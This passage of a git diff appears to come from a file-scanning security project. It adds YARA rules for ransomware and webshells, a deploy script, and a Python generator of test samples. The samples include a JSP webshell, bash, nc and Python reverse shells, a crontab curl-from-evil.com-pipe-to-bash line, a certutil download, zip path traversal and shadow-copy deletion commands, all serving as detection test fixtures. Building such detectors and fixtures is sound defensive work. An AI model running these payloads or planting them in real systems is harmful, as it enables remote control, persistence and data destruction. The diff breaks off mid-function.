/Local\\[Cc]onti/ ascii + $ext1 = /\.conti\b/ ascii nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + any of ($mutex*) and any of ($enc*, $ext*) + or + any of ($ext*) and any of ($enc*) +} + + +// ============================================================================= +// C8-4 Ryuk / Pseudo / Dharma 家族 +// ============================================================================= + +rule C8_Ransomware_Ryuk_Pseudo { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "medium" + reference = "Ryuk / Pseudo / Dharma 勒索家族" + description = "Ryuk/Pseudo： RyukTask Mutex + 加密 API + .ryk/.pseudo 扩展名" + strings: + $mutex_ryuk = /RyukTask[\d]/ ascii + $mutex_pseudo = /Global\\[Pp]seudo/ ascii + $mutex_dharma = /Global\\[Dd]harma/ ascii + $ext_ryk = /\.ryk\b/ ascii nocase + $ext_pseudo = /\.pseudo\b/ ascii nocase + $ext_dharma = /\.dharma\b/ ascii nocase + $enc = /CryptEncrypt|CryptDeriveKey/ ascii + condition: + (any of ($mutex_ryuk, $mutex_pseudo, $mutex_dharma)) + and (any of ($enc*, $ext_ryk, $ext_pseudo, $ext_dharma)) +} + + +// ============================================================================= +// C8-5 勒索信文件名模式（独立规则，辅助 family 识别） +// ============================================================================= + +rule C8_Ransomware_Note_Filename { + meta: + risk_level = "medium" + category = "C8" + false_positive_rate = "medium" + reference = "勒索信文件名通用模式" + description = "勒索信典型文件名变体（匹配后触发需要配合加密 API 才升级高危）" + strings: + $n1 = /HOW_TO_RECOVER[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase + $n2 = /RESTORE_FILES[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase + $n3 = /DECRYPT_INSTRUCTIONS[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n4 = /README[_\s-]*[\d]*[_\s-]*[\w]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n5 = /HELP_DECRYPT[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n6 = /_readme[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n7 = /_restore[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $bitcoin = /bitcoin address|BTC\b|monero address|XMR\b|send money|ransom|payment/ nocase + $wallet = /1[A-Za-z0-9]{25,34}|bc1[A-Za-z0-9]{11,71}|4[0-9A-Za-z]{32}/ nocase + $encapi = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + // 勒索信文件名 + 加密 API = 明确勒索 + any of ($n*) and $encapi + or + // 勒索信文件名 + 比特币/XMR 地址 = 大概率勒索 + any of ($n*) and any of ($bitcoin, $wallet) +} + + +// ============================================================================= +// C8-6 加密文件扩展名黑名单（不单独触发，配合加密 API） +// ============================================================================= + +rule C8_Ransomware_Extension_Blacklist { + meta: + risk_level = "low" + category = "C8" + false_positive_rate = "medium" + reference = "勒索加密文件扩展名模式" + description = "常见勒索加密扩展名（.locky/.zepto/.cryptolocker/.encrypted/.virus/.tor/.crpt 等）+ 加密 API" + strings: + $ext1 = /\.locky\b/ nocase + $ext2 = /\.zepto\b/ nocase + $ext3 = /\.cryptolocker\b/ nocase + $ext4 = /\.cryptor\b/ nocase + $ext5 = /\.crypt\b/ nocase + $ext6 = /\.encrypted\b/ nocase + $ext7 = /\.virus\b/ nocase + $ext8 = /\.tor\b/ nocase + $ext9 = /\.crpt\b/ nocase + $ext10 = /\.wallet\b/ nocase + $ext11 = /\.pay2[\w.-]*\.?\w*\b/ nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + $note = /HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README/ nocase + condition: + // 扩展名 + 加密 API + 勒索信 = 完整勒索链 + any of ($ext*) and $enc and $note + or + // 扩展名 + 加密 API（至少 2 种扩展名变体） + (2 of ($ext*)) and $enc +} + + +// ============================================================================= +// C8-7 卷影删除专项（辅助勒索前置） +// ============================================================================= + +rule C8_Ransomware_VolumeShadow { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1490 Inhibit System Recovery" + description = "删除卷影副本：vssadmin / wmic shadowcopy + 加密 API" + strings: + $vss1 = "vssadmin delete shadows" ascii + $vss2 = /vssadmin\s+delete\s+shadows\s+\/all\b/ ascii + $wmic1 = /wmic\s+shadowcopy\s+delete/ ascii + $wmic2 = /wmic\s+shadowcopy\s+where\s+\d+/ ascii + $vss3 = /ShadowCopy|VolumeShadowCopy|vss\b/i ascii // "i" flag = nocase in YARA + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + // 卷影删除 + 加密 API = 完整勒索前置 + (any of ($vss1, $vss2, $wmic*, $vss3)) and any of ($enc*) + or + // 连续多次 vssadmin delete = 正在清卷影 + any of ($vss1, $vss2) and any of ($wmic*) +} diff --git a/rules/webshell.yar b/rules/webshell.yar new file mode 100644 index 0000000..ce68fc4 --- /dev/null +++ b/rules/webshell.yar @@ -0,0 +1,345 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 — Webshell 专项（C3） +// ============================================================================= +// +// 设计原则： +// - 所有规则使用 2-3 个特征组合命中，避免单一关键词导致误杀 +// - 光闸场景误报代价极高（阻断合法文件传输），宁可漏报不轻易阻断 +// - 命中后作为 finding 交给 PolicyEngine 权重累加，不直接零容忍 +// +// 元数据规范： +// risk_level = critical | high | medium | low +// category = "C3" +// false_positive_rate = low | medium | high +// +// 维护： +// - 新 Webshell 工具/变体出现时，优先新增"工具特征"组合规则 +// - 纯 PHP/JSP 反序列化 payload 单特征也可能有价值，但组合原则仍适用 +// ============================================================================= + + +// ============================================================================= +// PHP Webshell —— 一行马 / 变形马 +// ============================================================================= + +// PHP 一行 eval($_POST) 组合（常见的菜刀/蚁剑/冰蝎基础形态） +// 单一 eval + $_GET/$_POST 误伤太大，必须"动态执行入口 + 用户输入 + 输出回显"三点组合 +rule C3_PHP_Webshell_Oneliner { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "OWASP Web Shell Cheat Sheet" + description = "PHP 一行 Webshell：eval + 超全局变量 + 输出回显 组合命中" + strings: + $entrypoint = /eval\s*\(\s*\$\s*_(GET|POST|REQUEST|COOKIE)\s*\[.+\]\s*\)/ ascii + // 备选入口：assert / create_function / preg_replace / system + $entryp2 = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $entryp3 = /create_function\s*\(\s*['"]['"]\s*,\s*\$\s*_(GET|POST|REQUEST)/ ascii + // 回显手段：print / echo / var_dump / die + $echo = /print|echo|var_dump|die/ ascii + condition: + ($entrypoint or $entryp2 or $entryp3) and $echo +} + +// PHP Webshell —— 多层解码（base64 + gzinflate + str_rot13） +rule C3_PHP_Webshell_Obfuscated { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "典型 Webshell 变形手段" + description = "PHP 解码链组合（base64_decode + gzinflate / str_rot13 + eval）" + strings: + $b64 = "base64_decode" ascii wide + $eval = "eval(" ascii wide + $gzinflate = "gzinflate" ascii wide + $rot13 = "str_rot13" ascii wide + $assert = "assert(" ascii wide + $createfn = "create_function" ascii wide + condition: + // base64_decode + (eval|assert|create_function) = 解码后动态执行 + $b64 and ($eval or $assert or $createfn) + or + // 解码链：base64 + gzinflate / str_rot13 + 执行 + $b64 and ($gzinflate or $rot13) and ($eval or $assert) +} + +// PHP Webshell —— 变量变形（$$a = $_POST['cmd']；$$a($_POST['arg'])） +rule C3_PHP_Webshell_VariableDeformation { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "PHP 变量变形 Webshell 特征" + description = "PHP 可变变量组合：$$ 或 ${$ 配合超全局变量" + strings: + $doubledollar = /\$\$\w+\s*=\s*\$\s*_(GET|POST|REQUEST)/ ascii + $curlyvar = /\$\{\$\w+\}\s*\(/ ascii + $superglobal = /\$_/ ascii + $invoke = /\$\$\w+\s*\(/ ascii + condition: + ($doubledollar or ($curlyvar and $invoke)) and $superglobal +} + + +// ============================================================================= +// JSP / Java Webshell —— 反射执行 + 反序列化 +// ============================================================================= + +// JSP Runtime.exec + ProcessBuilder 反射执行链 +rule C3_JSP_Webshell_RuntimeExec { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://blog.csdn.net/JavaWebshell" + description = "JSP 通过 Runtime.exec / ProcessBuilder 执行命令，配合反射 / 密码变量（cmd/pass/pwd）" + strings: + $runtime = "Runtime.getRuntime()" ascii + $exec = ".exec(" ascii + $processbuilder = "ProcessBuilder" ascii + $cmdparam = /(cmd|pass|pwd|exec|shell)\s*=/ ascii + $reflection = /Class\.forName|getMethod|getDeclaredMethod|Method\.invoke/ ascii + $requestparam = /request\.getParameter\s*\(\s*['"](cmd|pass|pwd|exec|shell)['"]/ ascii + $printwriter = /PrintWriter|getWriter|out\.println/ ascii + condition: + // Runtime.exec + 命令参数名 + 回显 = 完整 Webshell + $runtime and $exec and ($requestparam or $printwriter) + or + // ProcessBuilder + 命令参数名 + $processbuilder and ($cmdparam or $requestparam) + or + // 反射链 + getRuntime().exec + $runtime and $exec and any of ($reflection*) +} + +// JSP 反序列化 CommonsCollections / ysoerial +rule C3_JSP_Webshell_Deserialization { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/frohoff/ysoserial" + description = "Java 反序列化利用链：CommonsCollections / Gadgets / InvokerTransformer" + strings: + $icc = "InvokerTransformer" ascii wide + $lzy = "LazyMap" ascii wide + $trn = "TransformerFactory" ascii wide + $ccimpl = "TemplatesImpl" ascii wide + $gadget = "CommonsCollections" ascii wide + $readobj = /readObject\s*\(/ ascii wide + $objectinputstream = "ObjectInputStream" ascii wide + $execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide + condition: + // 反序列化链：readObject + InvokerTransformer / LazyMap / TemplatesImpl + Runtime.exec + $readobj and ($icc or $lzy or $trn or $ccimpl or $gadget) and any of ($execchain*) + or + // 直接 ObjectInputStream + 已知 Gadget + $objectinputstream and ($icc or $ccimpl or $gadget) +} + +// JSP Servlet Filter / Listener 注入型内存马 +rule C3_JSP_Webshell_MemoryShell { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "Tomcat / JBoss 内存马分析" + description = "JSP 动态注册 Filter / Listener / Valve 实现内存 Webshell" + strings: + $filterdef = "FilterDef" ascii + $applicationfilter = "ApplicationFilterConfig" ascii + $addfilter = /addFilterDef|addFilterMap|addListener/ ascii + $servletcontext = /ServletContext|getServletContext/ ascii + $filter = "implements Filter" ascii + $listener = /implements\s+(HttpSession|Servlet|Request)Listener/ ascii + $standardctx = "StandardContext" ascii + // 命令执行特征 + $runtime = "Runtime.getRuntime()" ascii + $execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide + condition: + // 动态 Filter 注册链：StandardContext + addFilterDef + FilterDef + ApplicationFilterConfig + $standardctx and $addfilter and $filterdef and $applicationfilter + or + // Listener 注册链：ServletContext + Listener interface + addListener + $servletcontext and $listener and any of ($addfilter) + or + // Filter 接口 + 命令执行（反射/内联） + $filter and ($runtime or $execchain) +} + + +// ============================================================================= +// 冰蝎 / 哥斯拉 / 蚁剑 —— 工具专属特征 +// ============================================================================= + +// 冰蝎（Behinder）—— AES 加密通道 + 固定类名特征 +rule C3_Webshell_Behinder { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/rebeyond/Behinder" + description = "冰蝎 Webshell 特征：AES/CBC/PKCS5Padding 或反射解密" + strings: + $aes = /AES\s*\/?\s*CBC\s*\/?\s*PKCS5Padding|AES\/CBC\/PKCS5Padding/ ascii wide + $cipherget = "Cipher.getInstance" ascii wide + $doFinal = /\.doFinal\s*\(/ ascii wide + $secret = /secretKey|SecretKeySpec|PasswordKey/ ascii wide + $toolname = /Behinder|behinder|冰蝎/ ascii wide nocase + // JSP 命令执行特征 + $execchain1 = /getRuntime\(\)\.exec/ ascii wide + $execchain2 = "ProcessBuilder" ascii wide + // PHP 执行特征 + $phpdecrypt = "openssl_decrypt" ascii + $phpb64 = "base64_decode" ascii + $phpeval = "eval(" ascii + $phpassert = "assert(" ascii + condition: + // 冰蝎 JSP：AES 加密解密 + secretKey + Runtime.exec + $cipherget and $aes and $doFinal and $secret and any of ($execchain*) + or + // 冰蝎 PHP：openssl_encrypt + base64 + eval/assert + $phpdecrypt and $phpb64 and ($phpeval or $phpassert) + or + // 直接工具名（极低概率误报） + $toolname +} + +// 哥斯拉（Godzilla）—— 加密通信 + 动态字节码加载 +rule C3_Webshell_Godzilla { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/whale1017/godzilla" + description = "哥斯拉 Webshell 特征：ASM 字节码生成 + ClassLoader 动态加载" + strings: + $asm = "org.objectweb.asm" ascii wide + $classloader = /defineClass|ClassLoader|loadClass/ ascii wide + $bytes = /toByteArray|writeByteArray/ ascii wide + $reflect = /setAccessible|getDeclaredMethod/ ascii wide + $deserialize = "deserialize" ascii wide + $toolname = /Godzilla|godzilla|哥斯拉/ ascii wide nocase + condition: + // ASM 字节码 + ClassLoader.defineClass = 动态加载 + $asm and ($classloader or $bytes) and any of ($reflect*) + or + // 反序列化 + ClassLoader + $deserialize and $classloader + or + $toolname +} + +// 蚁剑（AntSword）—— 基础 eval + 加密通信 + 自定义 Header +rule C3_Webshell_AntSword { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "https://github.com/AntSwordProject/AntSword-Labs" + description = "蚁剑 Webshell 特征：assert + 特定请求参数加密 + 自定义 HTTP 头" + strings: + $phpassert = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $phpcipher = /openssl_(encrypt|decrypt)|mcrypt_(encrypt|decrypt)/ ascii + $header = /X-Request-Id|AntSword|antsword/ ascii + $jspcipher = /AES|DES|RSA|Cipher/ ascii wide + condition: + // PHP：assert + openssl/mcrypt + 蚁剑特征 header + $phpassert and $phpcipher and $header + or + // JSP：加密算法 + 特征 header（可能是蚁剑 JSP 变体） + any of ($jspcipher) and $header +} + + +// ============================================================================= +// ASP / ASP.NET Webshell +// ============================================================================= + +// ASP.NET Eval / Execute + Server.CreateObject("Wscript.Shell") +rule C3_Webshell_ASPNET { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "low" + reference = "ASP.NET Webshell 常见手法" + description = "ASP.NET Webshell：Eval/Execute + Server.CreateObject/Wscript.Shell + Process.Start" + strings: + $eval = /\bEval\s*\(\s*Request\s*\(/ ascii wide + $execute = /\bExecute\s*\(\s*Request\s*\(/ ascii wide + $wscript = /Server\.CreateObject\s*\(\s*["']Wscript\.Shell["']\s*\)/ ascii wide + $processstart = /Process\.Start|Diagnostics\.Process/ ascii wide + $reflect = /Activator\.CreateInstance|Assembly\.Load|BinaryFormatter/ ascii wide + condition: + // Eval + 动态执行 + ($eval or $execute) and ($wscript or $processstart or any of ($reflect*)) + or + // Wscript.Shell + Process.Start + $wscript and $processstart + or + // BinaryFormatter 反序列化 + 命令执行 + any of ($reflect*) and $processstart +} + + +// ============================================================================= +// ASP Classic (VBScript) +// ============================================================================= + +rule C3_Webshell_ASP_Classic { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "ASP Classic Webshell" + description = "ASP Classic (VBScript) Webshell：Execute + Wscript.Shell + Request" + strings: + $execute = /\bExecute\s*\(\s*Request\s*\(/ ascii + $wscript = "WScript.Shell" ascii + $shellrun = /\.Run\s*\(\s*["']cmd/ ascii + $servercreate = "Server.CreateObject" ascii + $request = "Request(" ascii + condition: + // Execute + Request 取参 + $execute and $request + or + // Server.CreateObject(WScript.Shell) + cmd Run + $servercreate and $wscript and $shellrun +} + + +// ============================================================================= +// 通用：所有 Webshell 类（PHP/JSP/ASP）的 ProcessBuilder + 输出回显 +// ============================================================================= + +rule C3_Webshell_CommandExecutionEcho { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "综合 Webshell 命令执行链" + description = "任何语言的 Webshell：命令执行 + 输出回显（三特征同时命中）" + strings: + $exec_php = /(system|exec|passthru|shell_exec|popen|proc_open)\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $exec_java = /Runtime\.getRuntime\(\)\.exec|ProcessBuilder/ ascii + $exec_asp = /\.Run\s*\(\s*["']cmd|Process\.Start/ ascii + // 回显通道 + $echo_php = /echo|print|passthru/ ascii + $echo_java = /getWriter|getOutputStream|PrintWriter|out\.println|response\.getWriter/ ascii + $echo_asp = /Response\.Write|output\.Write/ ascii + // 参数来源（外部可控） + $param_java = /request\.getParameter|HttpServletRequest|getParameter/ ascii wide + $param_php = /\$_(GET|POST|REQUEST)\s*\[/ ascii + $param_asp = /Request\("|\bRequest\(/ ascii + condition: + // PHP 路径 + $exec_php and $echo_php and $param_php + or + // Java/JSP 路径 + $exec_java and any of ($echo_java*) and any of ($param_java*) + or + // ASP 路径 + $exec_asp and $echo_asp and ($param_php or $param_asp) +} diff --git a/scripts/deploy_prod.sh b/scripts/deploy_prod.sh new file mode 100644 index 0000000..ffafe06 --- /dev/null +++ b/scripts/deploy_prod.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# ============================================================================= +# MeshSafe 生产一键部署脚本（Debian/Ubuntu/CentOS，需已装好 Docker + docker compose） +# ============================================================================= +# +# 用法： +# bash scripts/deploy_prod.sh # 首次部署（自动建目录 + 起全部服务 + 建表 + 起 Nginx） +# bash scripts/deploy_prod.sh rebuild # 改了 app/ 代码后重建 api 镜像 + 重启 +# bash scripts/deploy_prod.sh stop # 全部停掉 +# bash scripts/deploy_prod.sh restart # 全部重启 +# bash scripts/deploy_prod.sh status # 看各服务状态 +# bash scripts/deploy_prod.sh logs api # 看 api 日志 +# +# 前提： +# 1. 已装 Docker ≥ 24 + docker compose v2 +# 2. .env 文件已准备好（或用 .env.example 复制后填必填项） +# 3. 有外网权限（拉镜像 + pip install）—— 无外网的话 ClamAV 签名库走光闸离线导入 +# ============================================================================= +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" +cd "$PROJECT_DIR" + +RED='\033[0;31m' +GRN='\033[0;32m' +YEL='\033[1;33m' +NC='\033[0m' +log() { echo -e "${GRN}[meshsafe]${NC} $*"; } +warn() { echo -e "${YEL}[meshsafe]${NC} ⚠️ $*"; } +err() { echo -e "${RED}[meshsafe]${NC} ✗ $*"; exit 1; } + +# ---------- 子命令 ---------- +ACTION="${1:-deploy}" + +case "$ACTION" in + status) + docker compose ps + echo + for svc in postgres redis clamav api nginx; do + echo -n "$svc: " + docker inspect --format '{{.State.Health.Status}}' meshsafe-$svc 2>/dev/null \ + || echo "未运行" + done + exit 0 + ;; + stop) + log "停止所有服务..." + docker compose down + log "✓ 已停止" + exit 0 + ;; + restart) + log "重启所有服务..." + docker compose down + docker compose up -d + sleep 3 + docker compose ps + exit 0 + ;; + logs) + svc="${2:-api}" + docker compose logs -f --tail 100 "$svc" + exit 0 + ;; + rebuild) + log "重建 api 镜像并重启..." + docker compose build api + docker compose up -d api + log "✓ 重建完成" + exit 0 + ;; + deploy) + log "首次部署 MeshSafe" + ;; + *) + err "未知子命令: $ACTION 可用: deploy|rebuild|restart|stop|status|logs" + ;; +esac + +# ---------- 前置检查 ---------- +command -v docker >/dev/null 2>&1 || err "未检测到 docker" +docker compose version >/dev/null 2>&1 || err "未检测到 docker compose v2" +[ -f docker-compose.yml ] || err "当前目录没有 docker-compose.yml" +[ -f .env ] || { warn "没找到 .env，从 .env.example 复制一个"; cp .env.example .env; } + +# ---------- 准备目录 ---------- +log "准备数据目录..." +mkdir -p data/{postgres,redis,clamav,logs,temp} +chmod -R 755 data +warn "PostgreSQL 数据目录权限首次启动会自动 chown" + +# ---------- 起基础设施 ---------- +log "起 postgres + redis..." +docker compose up -d postgres redis +sleep 5 + +# ---------- 起 ClamAV ---------- +log "起 clamav（首次启动尝试 freshclam，内网会静默降级）..." +docker compose up -d clamav +sleep 3 + +# ---------- 起 API ---------- +log "构建 + 起 api..." +docker compose up -d --build api +sleep 3 + +# ---------- 建表 + 管理员 + 初始策略 ---------- +log "建表 + admin + 初始策略..." +docker compose exec api python scripts/init_db.py + +# ---------- 起 Nginx ---------- +log "起 nginx..." +docker compose up -d nginx +sleep 2 + +# ---------- 健康检查 ---------- +log "健康检查..." +HTTP_OK=0 +for i in $(seq 1 10); do + if curl -sf http://localhost:8443/api/v1/health >/dev/null 2>&1; then + HTTP_OK=1 + break + fi + sleep 2 +done + +echo +echo "============================================" +if [ "$HTTP_OK" -eq 1 ]; then + log "✅ 部署成功！" + echo + echo " 控制台: http://$(hostname -I | awk '{print $1}'):44380/console/login" + echo " 用户名: admin" + echo " 密码: ${MESHSAFE_ADMIN_PASSWORD:-admin123_change_me}" + echo + echo " 健康检查: http://$(hostname -I | awk '{print $1}'):44380/health" + echo "============================================" +else + warn "⚠️ API 还没就绪，等一会再查: docker compose logs api" + echo + echo " 查看状态: bash scripts/deploy_prod.sh status" + echo " 查看日志: bash scripts/deploy_prod.sh logs api" +fi diff --git a/scripts/generate_test_samples.py b/scripts/generate_test_samples.py new file mode 100644 index 0000000..1339489 --- /dev/null +++ b/scripts/generate_test_samples.py @@ -0,0 +1,1213 @@ +#!/usr/bin/env python3 +"""MeshSafe 测试样本生成器。 + +用法： + python scripts/generate_test_samples.py + +输出： + tests/samples/ # 20+ 个测试文件（纯文本 + 合法容器 + 危险特征） + tests/samples/index.json # 元数据：每个样本的 expected_verdict + expected_rules + +设计原则： + 1. **不生成真实可执行恶意代码** —— 只构造合法容器 + 危险特征字符串 + 2. **每个样本尽量命中一个检测点** —— 便于定位哪个引擎没工作 + 3. **含阴性对照** —— 正常 docx/pdf/txt 应 verdict=pass、score=0 + 4. **覆盖 L0 结构层、L1 ClamAV/YARA/documents、L2 关键词** +""" +from __future__ import annotations + +import json +import os +import struct +import zipfile +from pathlib import Path +from typing import Any, Dict, List + +SAMPLES_DIR = Path(__file__).resolve().parent.parent / "tests" / "samples" +META_LIST: List[Dict[str, Any]] = [] + + +def ensure_dir() -> None: + SAMPLES_DIR.mkdir(parents=True, exist_ok=True) + for f in SAMPLES_DIR.iterdir(): + if f.is_file(): + f.unlink() + + +def write(name: str, data: bytes | str, meta: Dict[str, Any]) -> None: + path = SAMPLES_DIR / name + if isinstance(data, str): + data = data.encode("utf-8") + path.write_bytes(data) + meta.update({"filename": name, "size": len(data)}) + META_LIST.append(meta) + + +# ============================================================================= +# 1. PHP / JSP / ASP.NET Webshell（YARA C3 + documents.py） +# ============================================================================= + +def php_webshell_oneliner() -> None: + write( + "shell_php_eval.php", + '', + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_PHP_Webshell_Oneliner"], + "description": "PHP oneliner eval + echo 组合", + }, + ) + + +def php_webshell_obfuscated() -> None: + write( + "shell_php_obf.php", + '', + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_PHP_Webshell_Obfuscated"], + "description": "PHP base64 + assert 混淆", + }, + ) + + +def jsp_webshell_runtime() -> None: + write( + "shell_jsp_runtime.jsp", + """<%@ page import="java.io.*" %> +<% + Runtime rt = Runtime.getRuntime(); + Process p = rt.exec(request.getParameter("cmd")); + InputStreamReader isr = new InputStreamReader(p.getInputStream()); + BufferedReader br = new BufferedReader(isr); + String line; + while ((line = br.readLine()) != null) out.println(line); +%>""", + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_JSP_Webshell_RuntimeExec"], + "description": "JSP Runtime.getRuntime().exec 命令执行", + }, + ) + + +def aspnet_webshell() -> None: + write( + "shell_aspx.aspx", + """<%@ Page Language="C#" %> +""", + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_Webshell_ASPNET"], + "description": "ASP.NET Process.Start 命令执行", + }, + ) + + +# ============================================================================= +# 2. Shell 反弹 Shell（L0 ShellScriptDangerous + YARA C7） +# ============================================================================= + +def bash_reverse_devtcp() -> None: + write( + "shell_bash_devtcp.sh", + """#!/bin/bash +bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Bash"], + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + }, + ) + + +def nc_reverse_shell() -> None: + write( + "shell_nc.sh", + """#!/bin/bash +nc 10.0.0.5 4444 -e /bin/bash +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_NC"], + "description": "nc -e /bin/bash 反弹 Shell", + }, + ) + + +def python_reverse_pty() -> None: + write( + "shell_python.py", + """import socket, pty, subprocess, os +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("10.0.0.5", 4444)) +os.dup2(s.fileno(), 0) +os.dup2(s.fileno(), 1) +os.dup2(s.fileno(), 2) +pty.spawn("/bin/bash") +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Python"], + "description": "Python pty + socket 反弹 Shell", + }, + ) + + +def crontab_persistence() -> None: + write( + "persist_cron.sh", + """#!/bin/bash +(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab - +""", + { + "category": "持久化", + "expected_verdict": "reject", + "expected_rules": ["C7_Linux_Persistence_Crontab"], + "description": "crontab 注入 wget/curl 下载执行", + }, + ) + + +# ============================================================================= +# 3. ELF + .desktop 恶意 Exec（L0 LinuxExecutable + DesktopFileAutoExec） +# ============================================================================= + +def fake_elf_binary() -> None: + # 合法 ELF 4 字节魔数 + 反弹 Shell 字符串（YARA 不扫 ELF 内容，structure.py 扫魔数） + elf_header = b"\x7fELF" + b"\x02\x01\x01" + b"\x00" * 8 # 最小 ELF64 header 开头 + evil_str = b"\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n" + write( + "linux_malicious", + elf_header + b"\x00" * 16 + evil_str, + { + "category": "Linux可执行", + "expected_verdict": "reject", + "expected_rules": ["LinuxExecutable"], + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + }, + ) + + +def desktop_autoexec() -> None: + write( + "malicious.desktop", + """[Desktop Entry] +Type=Application +Name=Update +Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' +Terminal=false +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["DesktopFileAutoExec"], + "description": ".desktop 文件恶意 Exec 字段", + }, + ) + + +# ============================================================================= +# 4. ZIP 路径穿越（L0 PathTraversal）+ 双扩展名伪装 + 畸形文件 +# ============================================================================= + +def zip_path_traversal() -> None: + buf = __import__("io").BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("../../etc/passwd", "hacked:x:0:0:root:/root:/bin/bash\n") + write( + "zip_traversal.zip", + buf.getvalue(), + { + "category": "攻击载体", + "expected_verdict": "reject", + "expected_rules": ["PathTraversal"], + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + }, + ) + + +def double_ext_php_jpg() -> None: + # 双扩展名：看起来是 jpg 实际是 php + write( + "photo.jpg.php", + '', + { + "category": "伪装", + "expected_verdict": "reject", + "expected_rules": ["DoubleExtension"], + "description": "双扩展名伪装 .jpg.php", + }, + ) + + +def malformed_zip() -> None: + # 合法 ZIP 头 + CRC 错误 + buf = __import__("io").BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("good.txt", "hello world") + data = bytearray(buf.getvalue()) + # 把 CRC 改掉 + idx = data.rfind(b"\x00\x00\x00\x00PK") # EndOfCentralDirectory + # 简单改文件里某个字节 + if idx > 0: + data[20] = (data[20] + 1) % 256 + write( + "broken.zip", + bytes(data), + { + "category": "畸形文件", + "expected_verdict": "pass", + "expected_rules": [], # 畸形文件降级 MEDIUM，不阻断 + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + }, + ) + + +# ============================================================================= +# 5. PE 恶意程序（YARA C1 —— 构造空壳 PE + 危险 API 字符串） +# ============================================================================= + +def pe_process_injection() -> None: + # 最小 PE64：MZ header + PE\0\0 + 危险 API 字符串 + pe = bytearray( + b"MZ" # DOS header magic + + b"\x00" * 58 # DOS header padding + + struct.pack(" None: + pe = bytearray( + b"MZ" + b"\x00" * 58 + struct.pack(" None: + write( + "lolbin.cmd", + "@echo off\ncertutil -decode http://evil.com/payload.bin C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe\n", + { + "category": "LOLBin", + "expected_verdict": "reject", + "expected_rules": ["C1_PE_LOLBin_Usage"], + "description": "certutil -decode LOLBin 下载执行", + }, + ) + + +# ============================================================================= +# 6. 勒索 / 挖矿（YARA C8） +# ============================================================================= + +def ransomware_vss() -> None: + write( + "ransom_dropper.exe.txt", # .txt 扩展名，内容勒索特征 + b"""CryptEncrypt CryptDeriveKey BCryptEncrypt +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa +HOW_TO_RECOVER.html - All your files are encrypted. Send BTC. +""", + { + "category": "勒索", + "expected_verdict": "reject", + "expected_rules": ["C8_Ransomware_Encryption"], + "description": "加密 API + 卷影删除 + 勒索信文件名", + }, + ) + + +def xminer_mining() -> None: + write( + "miner_config.json", + b"""{ + "pools": ["stratum+tcp://pool.xmrpool.net:3333"], + "username": "4AsMe1", + "donate-level": 5, + "cpu-affinity": true +}""", + { + "category": "挖矿", + "expected_verdict": "reject", + "expected_rules": 